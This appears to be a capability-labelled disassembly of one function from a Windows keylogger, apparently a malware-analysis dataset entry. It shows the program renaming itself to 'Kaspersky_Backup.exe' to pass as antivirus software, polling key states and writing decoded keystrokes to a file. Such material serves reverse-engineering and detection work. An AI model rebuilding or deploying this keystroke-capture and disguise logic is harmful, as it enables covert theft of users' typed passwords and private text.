Function at 0x1400012a0
Capabilities:
Log keystrokes
Log keystrokes via polling
Move file
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x3a0]
sub rsp, 0x4a0
mov rax, qword [0x14000a010]
xor rax, rsp
mov qword [rbp + 0x390], rax
xor r15d, r15d
lea rcx, [rsp + 0x48]
call fcn.140001880
xor edx, edx
mov r8d, pe_nt_image_headers64
lea rcx, [rsp + 0x78]
call sub.VCRUNTIME140.dll_memset
lea rax, [0x140006748]
mov qword [rsp + 0x70], rax
lea rcx, [rbp + 0x18]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::constructor_void____ptr64]
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0x78]
lea rcx, [rsp + 0x70]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::constructor_class_std::basic_streambuf_wchar_t__struct_std::char_traits_wchar_t______ptr64__bool____ptr64]
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_wchar_t__struct_std::char_traits_wchar_t__.0
mov qword [rsp + rcx + 0x70], rax
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x6c], edx
lea rcx, [rsp + 0x78]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_wchar_t__struct_std::char_traits_wchar_t__::constructor_void____ptr64]
lea rax, vtable.std::basic_filebuf_wchar_t__struct_std::char_traits_wchar_t__.0
mov qword [rsp + 0x78], rax
mov byte [rbp - 0xc], r15b
mov byte [rbp - 0x16], r15b
lea rcx, [rsp + 0x78]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_wchar_t__struct_std::char_traits_wchar_t__::_Init_void____ptr64]
mov qword [rbp - 8], r15
mov rax, qword [0x14000ab50]
mov qword [rbp - 0x14], rax
mov qword [rbp - 0x20], r15
lea rdx, str.Kaspersky_Backup.exe
lea rcx, str.KeyloggerTest.exe
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_rename]
cmp eax, 0xffffffff
jne 0x140001425
lea rcx, [rbp + 0x80]
call fcn.140001870
lea rcx, [rbp + 0x80]
call fcn.140002d10
lea rdx, [rsp + 0x48]
lea rcx, [rbp + 0x80]
call fcn.140002d00
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
mov edx, dword [rax]
lea rcx, [rbp + 0x190]
call fcn.140004080
lea rax, [rbp + 0x190]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], r15b
jne 0x1400013f0
lea rdx, [rbp + 0x190]
lea rcx, [rbp + 0x80]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp + 0x80]
call fcn.140002cc0
mov ecx, 0xffffffff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov r12d, 0xffff8001
mov r13d, 0x80
mov ecx, 5
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ebx, r15d
nop
mov ecx, ebx
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cmp ax, r12w
jne 0x1400016c0
mov ecx, pe_nt_image_headers64
call fcn.140004a34
mov r14, rax
mov ecx, 0x10
call fcn.140004a34
mov rsi, rax
mov rcx, r14
call qword [sym.imp.USER32.dll_GetKeyboardState]
mov ecx, 0xa0
call qword [sym.imp.USER32.dll_GetKeyState]
mov ecx, r15d
cmp ax, r12w
cmove ecx, r13d
mov byte [r14 + 0xa0], cl
mov ecx, 0xa1
call qword [sym.imp.USER32.dll_GetKeyState]
mov ecx, r15d
cmp ax, r12w
cmove ecx, r13d
mov byte [r14 + 0xa1], cl
mov ecx, 0xa2
call qword [sym.imp.USER32.dll_GetKeyState]
mov ecx, r15d
cmp ax, r12w
cmove ecx, r13d
mov byte [r14 + 0xa2], cl
mov ecx, 0xa3
call qword [sym.imp.USER32.dll_GetKeyState]
mov ecx, r15d
cmp ax, r12w
cmove ecx, r13d
mov byte [r14 + 0xa3], cl
mov ecx, 0x14
call qword [sym.imp.USER32.dll_GetKeyState]
cmp ax, r12w
sete al
mov byte [r14 + 0x14], al
mov ecx, 0xa4
call qword [sym.imp.USER32.dll_GetKeyState]
mov ecx, r15d
cmp ax, r12w
cmove ecx, r13d
mov byte [r14 + 0xa4], cl
mov ecx, 0xa5
call qword [sym.imp.USER32.dll_GetKeyState]
mov ecx, r15d
cmp ax, r12w
cmove ecx, r13d
mov byte [r14 + 0xa5], cl
mov edx, 3
mov ecx, ebx
call qword [sym.imp.USER32.dll_MapVirtualKeyW]
mov edx, eax
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], 8
mov r9, rsi
mov r8, r14
mov ecx, ebx
call qword [sym.imp.USER32.dll_ToUnicode]
test eax, eax
je 0x1400016b0
lea rcx, [rsp + 0x48]
cmp qword [rsp + 0x60], 0x10
cmovae rcx, qword [rsp + 0x48]
cmp qword [rbp - 8], r15
jne 0x140001645
mov edx, 0xa
lea r8d, [rdx + 0x36]
call qword [sym.imp.MSVCP140.dll_struct__iobuf____ptr64___cdecl_std::_Fiopen_char_const____ptr64__int__int_]
mov rdi, rax
test rax, rax
je 0x140001645
mov byte [rbp - 0xc], 1
mov byte [rbp - 0x16], r15b
lea rcx, [rsp + 0x78]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_wchar_t__struct_std::char_traits_wchar_t__::_Init_void____ptr64]
mov qword [rbp - 8], rdi
mov rax, qword [0x14000ab50]
mov qword [rbp - 0x14], rax
mov qword [rbp - 0x20], r15
lea rdx, [rsp + 0x38]
lea rcx, [rsp + 0x78]
call qword [sym.imp.MSVCP140.dll_public:_class_std::locale___cdecl_std::basic_streambuf_wchar_t__struct_std::char_traits_wchar_t__::getloc_void____ptr64]
mov rcx, rax
call fcn.140004440
mov rdi, rax
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::codecvt_base::always_noconv_void_const___ptr64]
test al, al
je 0x1400015f5
mov qword [rbp - 0x20], r15
jmp 0x140001604
mov qword [rbp - 0x20], rdi
lea rcx, [rsp + 0x78]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_wchar_t__struct_std::char_traits_wchar_t__::_Init_void____ptr64]
mov rcx, qword [rsp + 0x40]
test rcx, rcx
je 0x140001627
mov rax, qword [rcx]
call qword [rax + 0x10]
test rax, rax
je 0x140001627
mov r8, qword [rax]
mov edx, 1
mov rcx, rax
call qword [r8]
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x70]
add rcx, rax
xor r8d, r8d
xor edx, edx
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::clear_int__bool____ptr64]
jmp 0x140001663
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x70]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::setstate_int__bool____ptr64]
mov edx, 8
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcsnlen]
lea r8, [rax + 1]
mov rdx, rsi
lea rcx, [rsp + 0x70]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::write_wchar_t_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rsp + 0x78]
call fcn.140003e30
test rax, rax
jne 0x1400016b0
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x70]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::setstate_int__bool____ptr64]
mov rcx, r14
call fcn.1400047a0
mov rcx, rsi
call fcn.1400047a0
inc ebx
cmp ebx, 0xfe
jle 0x140001440
jmp 0x140001431